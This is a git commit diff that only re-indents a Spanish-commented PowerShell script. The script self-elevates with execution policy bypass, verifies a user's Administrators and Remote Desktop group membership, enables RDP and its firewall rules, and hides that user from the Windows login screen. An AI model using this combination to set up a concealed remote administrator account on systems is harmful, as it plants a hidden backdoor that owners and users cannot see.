This commit is contained in:
2026-09-24 16:02:34 +02:00
parent b4c4f99024
commit af55c8d5e7

View File

@@ -119,12 +119,12 @@ function Ensure-Administrator {
$process = Start-Process `
-FilePath "powershell.exe" `
-ArgumentList @(
"-NoProfile"
"-ExecutionPolicy"
"Bypass"
"-File"
$quotedScript
) `
"-NoProfile"
"-ExecutionPolicy"
"Bypass"
"-File"
$quotedScript
) `
-Verb RunAs `
-Wait `
-PassThru `
@@ -172,10 +172,10 @@ function Get-LocalGroupBySid {
)
$group = Get-LocalGroup -ErrorAction Stop |
Where-Object {
$_.SID.Value -eq $Sid
} |
Select-Object -First 1
Where-Object {
$_.SID.Value -eq $Sid
} |
Select-Object -First 1
if ($null -eq $group) {
throw "No se encontró el grupo con SID $Sid."
@@ -421,7 +421,7 @@ function Enable-RemoteDesktop {
# --------------------------------------------------------
$rdpRegistryPath =
"HKLM:\SYSTEM\CurrentControlSet\Control\Terminal Server"
"HKLM:\SYSTEM\CurrentControlSet\Control\Terminal Server"
Set-ItemProperty `
-Path $rdpRegistryPath `
@@ -492,10 +492,10 @@ function Enable-RemoteDesktop {
$firewallRules = Get-NetFirewallRule `
-ErrorAction Stop |
Where-Object {
$_.DisplayGroup -eq "Remote Desktop" -or
$_.DisplayGroup -eq "Escritorio remoto"
}
Where-Object {
$_.DisplayGroup -eq "Remote Desktop" -or
$_.DisplayGroup -eq "Escritorio remoto"
}
if ($null -eq $firewallRules) {
@@ -503,20 +503,20 @@ function Enable-RemoteDesktop {
}
$firewallRules |
Enable-NetFirewallRule `
-ErrorAction Stop
Enable-NetFirewallRule `
-ErrorAction Stop
# Verificación REAL de las reglas.
$enabledRules = Get-NetFirewallRule `
-ErrorAction Stop |
Where-Object {
(
$_.DisplayGroup -eq "Remote Desktop" -or
$_.DisplayGroup -eq "Escritorio remoto"
) -and
$_.Enabled -eq "True"
}
Where-Object {
(
$_.DisplayGroup -eq "Remote Desktop" -or
$_.DisplayGroup -eq "Escritorio remoto"
) -and
$_.Enabled -eq "True"
}
if ($null -eq $enabledRules) {
@@ -542,7 +542,7 @@ function Hide-UserFromLogin {
-ForegroundColor Cyan
$registryPath =
"HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList"
"HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList"
# Crear la clave si no existe.
@@ -552,7 +552,7 @@ function Hide-UserFromLogin {
-Path $registryPath `
-Force `
-ErrorAction Stop |
Out-Null
Out-Null
}
# 0 = ocultar usuario.
@@ -564,7 +564,7 @@ function Hide-UserFromLogin {
-Value 0 `
-Force `
-ErrorAction Stop |
Out-Null
Out-Null
# Verificación.
@@ -617,11 +617,11 @@ function Test-FinalConfiguration {
try {
$administratorsGroup =
Get-LocalGroupBySid "S-1-5-32-544"
Get-LocalGroupBySid "S-1-5-32-544"
if (Test-UserInGroup `
-Username $Username `
-Group $administratorsGroup) {
-Username $Username `
-Group $administratorsGroup) {
Write-Ok "Administrador: SI"
}
@@ -646,7 +646,7 @@ function Test-FinalConfiguration {
try {
$rdpRegistryPath =
"HKLM:\SYSTEM\CurrentControlSet\Control\Terminal Server"
"HKLM:\SYSTEM\CurrentControlSet\Control\Terminal Server"
$rdpValue = (
Get-ItemProperty `
@@ -709,13 +709,13 @@ function Test-FinalConfiguration {
$enabledRules = Get-NetFirewallRule `
-ErrorAction Stop |
Where-Object {
(
$_.DisplayGroup -eq "Remote Desktop" -or
$_.DisplayGroup -eq "Escritorio remoto"
) -and
$_.Enabled -eq "True"
}
Where-Object {
(
$_.DisplayGroup -eq "Remote Desktop" -or
$_.DisplayGroup -eq "Escritorio remoto"
) -and
$_.Enabled -eq "True"
}
if ($null -ne $enabledRules) {
@@ -742,11 +742,11 @@ function Test-FinalConfiguration {
try {
$rdpGroup =
Get-LocalGroupBySid "S-1-5-32-555"
Get-LocalGroupBySid "S-1-5-32-555"
if (Test-UserInGroup `
-Username $Username `
-Group $rdpGroup) {
-Username $Username `
-Group $rdpGroup) {
Write-Ok "Usuario autorizado para RDP: SI"
}
@@ -771,7 +771,7 @@ function Test-FinalConfiguration {
try {
$loginPath =
"HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList"
"HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList"
$hiddenValue = (
Get-ItemProperty `
@@ -854,10 +854,10 @@ try {
Write-Step "COMPROBANDO GRUPOS LOCALES"
$administratorsGroup =
Get-LocalGroupBySid "S-1-5-32-544"
Get-LocalGroupBySid "S-1-5-32-544"
$rdpGroup =
Get-LocalGroupBySid "S-1-5-32-555"
Get-LocalGroupBySid "S-1-5-32-555"
Write-Ok "Grupo Administradores: $($administratorsGroup.Name)"
Write-Ok "Grupo Escritorio remoto: $($rdpGroup.Name)"